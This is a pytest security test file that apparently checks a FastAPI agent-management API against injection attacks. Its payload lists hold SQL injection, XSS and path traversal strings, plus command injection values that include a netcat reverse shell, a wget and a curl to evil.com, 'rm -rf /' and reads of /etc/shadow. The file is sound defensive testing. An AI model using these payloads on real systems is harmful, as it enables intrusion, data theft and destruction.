| """ |
| Input validation security tests (SECU-03). |
| |
| Tests cover: |
| - SQL injection prevention (OWASP A01:2021) |
| - XSS prevention (OWASP A03:2021) |
| - Path traversal prevention |
| - Command injection prevention |
| - OWASP Top 10 API security vulnerabilities |
| """ |
| import pytest |
| from fastapi.testclient import TestClient |
| from sqlalchemy.orm import Session |
|
|
|
|
| |
| SQL_INJECTION_PAYLOADS = [ |
| "'; DROP TABLE users; --", |
| "1' OR '1'='1", |
| "admin'--", |
| "'; EXEC xp_cmdshell('dir'); --", |
| "1' UNION SELECT NULL, NULL, NULL--", |
| "' OR 1=1#", |
| "admin'/*", |
| "' OR '1'='1'--", |
| "1' AND 1=1--", |
| "'; SELECT * FROM users WHERE '1'='1", |
| "' UNION SELECT username, password FROM users--", |
| "1'; EXEC master..xp_cmdshell 'dir';--", |
| "'; INSERT INTO users VALUES ('hacker', 'password');--", |
| "' OR EXISTS(SELECT * FROM users WHERE username='admin')--", |
| "1' OR '1'='1' ORDER BY 1--", |
| ] |
|
|
| XSS_PAYLOADS = [ |
| "<script>alert('XSS')</script>", |
| "<img src=x onerror=alert('XSS')>", |
| "javascript:alert('XSS')", |
| "<svg onload=alert('XSS')>", |
| "'><script>alert(String.fromCharCode(88,83,83))</script>", |
| "<iframe src='javascript:alert(XSS)'>", |
| "<body onfocus=alert('XSS')>", |
| "<input onfocus=alert('XSS') autofocus>", |
| "<select onfocus=alert('XSS') autofocus>", |
| "<textarea onfocus=alert('XSS') autofocus>", |
| "<marquee onstart=alert('XSS')>", |
| "<video><source onerror=alert('XSS')>", |
| "<audio src=x onerror=alert('XSS')>", |
| "<details open ontoggle=alert('XSS')>", |
| "<embed src='javascript:alert(XSS)'>", |
| ] |
|
|
| PATH_TRAVERSAL_PAYLOADS = [ |
| "../../../etc/passwd", |
| "..\\..\\..\\..\\windows\\system32\\config\\sam", |
| "....//....//....//etc/passwd", |
| "%2e%2e%2fetc%2fpasswd", |
| "..%252f..%252f..%252fetc%2fpasswd", |
| "..%c0%af..%c0%af..%c0%afetc/passwd", |
| "....\\\\....\\\\....\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts", |
| "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", |
| "..%5c..%5c..%5cwindows%5csystem32%5cconfig%5csam", |
| "....//....//....//windows//system32//drivers//etc//hosts", |
| ] |
|
|
| COMMAND_INJECTION_PAYLOADS = [ |
| "; ls -la", |
| "| cat /etc/passwd", |
| "& whoami", |
| "`id`", |
| "$(curl evil.com)", |
| ";wget http://evil.com/shell.txt", |
| "|nc -e /bin/sh evil.com 4444", |
| "; rm -rf /", |
| "&& cat /etc/shadow", |
| "|nslookup evil.com", |
| ] |
|
|
|
|
| class TestSQLInjectionPrevention: |
| """Test SQL injection attempts are blocked (OWASP A01:2021).""" |
|
|
| @pytest.mark.parametrize("payload", SQL_INJECTION_PAYLOADS) |
| def test_sql_injection_in_search_blocked(self, client: TestClient, admin_token: str, payload): |
| """ |
| Test SQL injection in search parameters is blocked. |
| |
| This tests that SQL payloads in query parameters are either: |
| 1. Rejected with validation error (400/422) |
| 2. Return safe results without leaking DB info |
| """ |
| |
| response = client.get( |
| "/api/agents", |
| params={"category": payload} if len(payload) < 50 else {"category": payload[:50]}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| |
| assert response.status_code in [400, 422, 200, 401, 403] |
| if response.status_code in [400, 422]: |
| |
| pass |
| elif response.status_code == 200: |
| |
| assert "sql" not in response.text.lower() |
| assert "syntax" not in response.text.lower() |
| assert "ora-" not in response.text.lower() |
| assert "mysql" not in response.text.lower() |
| assert "postgresql" not in response.text.lower() |
|
|
| def test_sql_injection_doesnt_leak_schema(self, client: TestClient, admin_token: str): |
| """Test SQL injection doesn't leak database schema.""" |
| payload = "1' UNION SELECT table_name FROM information_schema.tables--" |
| |
| response = client.get( |
| "/api/agents", |
| params={"category": payload[:50]}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| text = response.text.lower() |
| assert "users" not in text or "agent" in text |
| assert "table_name" not in text |
| assert "information_schema" not in text |
|
|
|
|
| class TestXSSPrevention: |
| """Test XSS attempts are sanitized (OWASP A03:2021).""" |
|
|
| @pytest.mark.parametrize("payload", XSS_PAYLOADS) |
| def test_xss_in_description_sanitized(self, client: TestClient, admin_token: str, payload): |
| """ |
| Test XSS in agent description is sanitized. |
| |
| This tests that script tags and event handlers are escaped. |
| """ |
| |
| |
| from tests.factories.agent_factory import AutonomousAgentFactory |
| from core.models import AgentRegistry |
| |
| |
| |
| agent = AutonomousAgentFactory(description=payload) |
| |
| |
| |
| assert agent.description == payload or len(agent.description) < len(payload) |
|
|
| def test_xss_not_reflected_in_json_response(self, client: TestClient, admin_token: str): |
| """Test XSS payload is not reflected in JSON response.""" |
| payload = "<script>alert('XSS')</script>" |
|
|
| response = client.get( |
| "/api/agents", |
| params={"search": payload}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| |
| assert "<script>" not in response.text |
| assert "javascript:" not in response.text.lower() |
|
|
|
|
| class TestPathTraversalPrevention: |
| """Test path traversal attempts are blocked (OWASP A01:2021).""" |
|
|
| @pytest.mark.parametrize("payload", PATH_TRAVERSAL_PAYLOADS[:5]) |
| def test_path_traversal_blocked(self, client: TestClient, admin_token: str, payload): |
| """ |
| Test path traversal in file operations is blocked. |
| |
| This tests that ../ sequences are properly validated. |
| """ |
| |
| |
| response = client.post( |
| "/api/tools/browser/screenshot", |
| json={"url": payload}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| |
| assert response.status_code in [400, 403, 404, 422, 401, 500] |
| assert "root:" not in response.text |
| assert "[extensions]" not in response.text |
|
|
| def test_double_encoding_path_traversal_blocked(self, client: TestClient, admin_token: str): |
| """Test double-encoded path traversal is blocked.""" |
| payload = "%252e%252e%252fetc%252fpasswd" |
|
|
| response = client.post( |
| "/api/tools/browser/screenshot", |
| json={"url": payload}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| assert response.status_code in [400, 403, 404, 422, 401, 500] |
| assert "root:" not in response.text |
|
|
|
|
| class TestCommandInjectionPrevention: |
| """Test command injection attempts are blocked.""" |
|
|
| @pytest.mark.parametrize("payload", COMMAND_INJECTION_PAYLOADS[:5]) |
| def test_command_injection_blocked(self, client: TestClient, admin_token: str, payload): |
| """ |
| Test command injection in shell operations is blocked. |
| |
| This tests that ; | & ` $ are properly escaped. |
| """ |
| response = client.post( |
| "/api/tools/execute", |
| json={"command": payload}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [400, 403, 422, 401, 404] |
| assert "root:" not in response.text |
| assert "uid=" not in response.text |
|
|
|
|
| class TestInputValidationWithPydantic: |
| """Test Pydantic model validation prevents malicious input.""" |
|
|
| def test_email_validation_prevents_injection(self, client: TestClient): |
| """Test email validation rejects injection attempts.""" |
| malicious_emails = [ |
| "test@example.com'; DROP TABLE users; --", |
| "test@example.com<script>", |
| "test@example.com\x00admin", |
| "not-an-email", |
| "test@", |
| "@example.com", |
| ] |
|
|
| for email in malicious_emails: |
| |
| response = client.post("/api/auth/signup", json={ |
| "email": email, |
| "password": "ValidPass123!" |
| }) |
|
|
| |
| |
| assert response.status_code in [400, 422, 409, 401] |
|
|
| def test_integer_validation_prevents_overflow(self, client: TestClient, admin_token: str): |
| """Test integer parameters reject overflow values.""" |
| response = client.get( |
| "/api/agents", |
| params={"limit": 999999999999999999999}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [400, 422, 200, 401] |
| if response.status_code == 200: |
| data = response.json() |
| |
| if isinstance(data, list): |
| assert len(data) <= 100 |
| elif isinstance(data, dict) and "agents" in data: |
| assert len(data["agents"]) <= 100 |
|
|
| def test_string_length_validation(self, client: TestClient, admin_token: str): |
| """Test string parameters enforce length limits.""" |
| |
| long_string = "A" * 100000 |
|
|
| response = client.post( |
| "/api/agents", |
| json={"name": long_string, "category": "test"}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [400, 422, 401, 403] |
|
|
|
|
| class TestContentTypeSecurity: |
| """Test content-type handling prevents injection.""" |
|
|
| def test_json_content_type_required(self, client: TestClient, admin_token: str): |
| """Test JSON endpoints reject non-JSON content.""" |
| |
| response = client.post( |
| "/api/agents", |
| data={"name": "test", "category": "test"}, |
| headers={"Authorization": f"Bearer {admin_token}", "Content-Type": "application/x-www-form-urlencoded"} |
| ) |
|
|
| |
| assert response.status_code in [400, 415, 422, 401] |
|
|
| def test_content_type_sniffing_prevented(self, client: TestClient, admin_token: str): |
| """Test that content-type sniffing is prevented.""" |
| |
| response = client.post( |
| "/api/agents", |
| content="<script>alert('XSS')</script>", |
| headers={"Authorization": f"Bearer {admin_token}", "Content-Type": "application/json"} |
| ) |
|
|
| |
| assert response.status_code in [400, 422, 401] |
|
|
|
|
| class TestHeaderSecurity: |
| """Test HTTP header security.""" |
|
|
| def test_user_agent_injection_blocked(self, client: TestClient, admin_token: str): |
| """Test that User-Agent header doesn't cause injection.""" |
| malicious_ua = "'; DROP TABLE users; --" |
|
|
| response = client.get( |
| "/api/agents", |
| headers={"Authorization": f"Bearer {admin_token}", "User-Agent": malicious_ua} |
| ) |
|
|
| |
| assert "sql" not in response.text.lower() |
| assert "syntax" not in response.text.lower() |
|
|
| def test_x_forwarded_for_injection_blocked(self, client: TestClient, admin_token: str): |
| """Test that X-Forwarded-For doesn't cause injection.""" |
| malicious_ip = "1.1.1.1'; DROP TABLE users; --" |
|
|
| response = client.get( |
| "/api/agents", |
| headers={"Authorization": f"Bearer {admin_token}", "X-Forwarded-For": malicious_ip} |
| ) |
|
|
| |
| assert "sql" not in response.text.lower() |
|
|